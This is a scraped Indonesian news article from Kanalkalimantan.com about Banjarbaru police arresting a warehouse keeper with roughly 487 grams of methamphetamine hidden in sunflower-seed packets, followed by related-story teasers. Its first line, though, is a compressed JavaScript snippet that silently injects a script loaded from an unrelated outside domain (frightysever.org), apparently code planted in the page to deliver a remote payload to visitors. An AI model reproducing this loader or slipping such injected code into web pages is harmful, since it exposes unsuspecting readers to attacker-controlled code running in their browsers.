(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sat Resnarkoba Polres Banjarbaru berhasil mengamankan pengedar narkotika jenis sabu dengan berat 487,41 gram terbungkus kemasan kuaci.
Kapolres Banjarbaru AKBP Nur Khamid mengatakan, temuan ini berawal dari laporan masyarakat kemudian dilakukan penyidikan. Sehingga pada Senin (18/10/2021), berhasil mengaman HE di depan rumah makan siap saji di Jalan Golf Landasan Ulin.
“Ini merupakan temuan terbesar kedua Satresnarkoba Polres Banjarbaru, pada bulan Maret berhasil mengungkap 24 kilogram narkoba dan dibulan Oktober 4 ons 87, 41 gram,” ungkapnya, Senin (25/10/2021).
Baca juga: Tak Kuat Nanjak, Truk Fuso Mundur Kena Agya dan Scoopy, Pemotor Tewas
AKBP Nur Khamid menambahkan, tersangka merupakan penjaga gudang sebagai penerima barang dengan sistem cara menunggu di pinggir jalan kemudian menerima dan disimpan. Dalam pengedarannya tersangka menunggu instruksi dari atasan.
Diungkap Kapolres, kalau jaringan ini merupakan jaringan Malaysia, Samarinda, dan Banjarmasin. Dengan diungkapkannya narkoba sebanyak 487, 41 gram kalau diestimasikan harganya mencapai Rp779 juta dan berhasil menyelamatkan 1.949 jiwa.
“Jajaran Satresnarkoba Polres Banjarbaru akan terus melakukan pengejaran mengenai kasus ini,” ungkapnya.
Baca juga: Jadi Syarat Penerbangan, YLKI: Turunkan Harga Tes PCR hingga Rp200 Ribuan!
Kapolres menghimbau kepada seluruh masyarakat apabila ada temuan mengenai pengedaran narkoba untuk segera dilaporkan ke Polres Banjarbaru.
Sementara itu HE mengatakan menerima upah tergantung dari barang yang dia bawa dengan estimasi paling sedikit Rp2 juta.
Saya mengenal dengan atasan berteman di tempat tongkrongan dan baru saja melakukan ini di Banjarbaru,” dalihnya.
Baca juga: PAUD Omah Kepompong, Sekolah Anak Bertajuk Outdoor di Banjarbaru
HE terancam pasal 114 ayat 2 dengan hukuman pidana mati, pidana seumur hidup, dan pidana penjara paling singkat 6 tahun, kedua Pasal 112 ayat 2 dengan ancaman hukuman penjara seumur hidup paling singkat 5 tahun dan paling lama 20 tahun. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.